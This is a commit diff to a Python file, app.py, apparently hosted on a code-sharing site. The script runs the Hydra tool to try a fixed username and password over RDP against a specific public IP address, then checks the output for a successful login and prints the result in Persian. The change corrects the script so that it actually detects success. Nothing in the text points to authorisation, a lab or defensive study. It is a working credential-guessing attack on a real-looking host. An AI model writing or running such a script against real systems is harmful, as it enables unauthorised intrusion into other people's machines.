cfdlbrz commited on
Commit
0eba3e7
·
verified ·
1 Parent(s): 3e81fa8

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +5 -4
app.py CHANGED
@@ -1,5 +1,5 @@
1
  import subprocess
2
- import re
3
 
4
  # دستور Hydra برای اجرا
5
  command = ["hydra", "-t", "4", "-l", "user", "-p", "Password01", "rdp://156.38.246.202"]
@@ -7,8 +7,9 @@ command = ["hydra", "-t", "4", "-l", "user", "-p", "Password01", "rdp://156.38.2
7
  # اجرای دستور و نتیجه‌ی بازگشتی
8
  result = subprocess.run(command, capture_output=True, text=True)
9
 
10
- kir = re.search("successfully", result)
11
- if result:
 
12
  print("پیدا شد")
13
  else:
14
- print("نشد●")
 
1
  import subprocess
2
+ import re
3
 
4
  # دستور Hydra برای اجرا
5
  command = ["hydra", "-t", "4", "-l", "user", "-p", "Password01", "rdp://156.38.246.202"]
 
7
  # اجرای دستور و نتیجه‌ی بازگشتی
8
  result = subprocess.run(command, capture_output=True, text=True)
9
 
10
+ output = result.stdout
11
+ kir = re.search("successfully", output)
12
+ if kir:
13
  print("پیدا شد")
14
  else:
15
+ print("نشد🚫")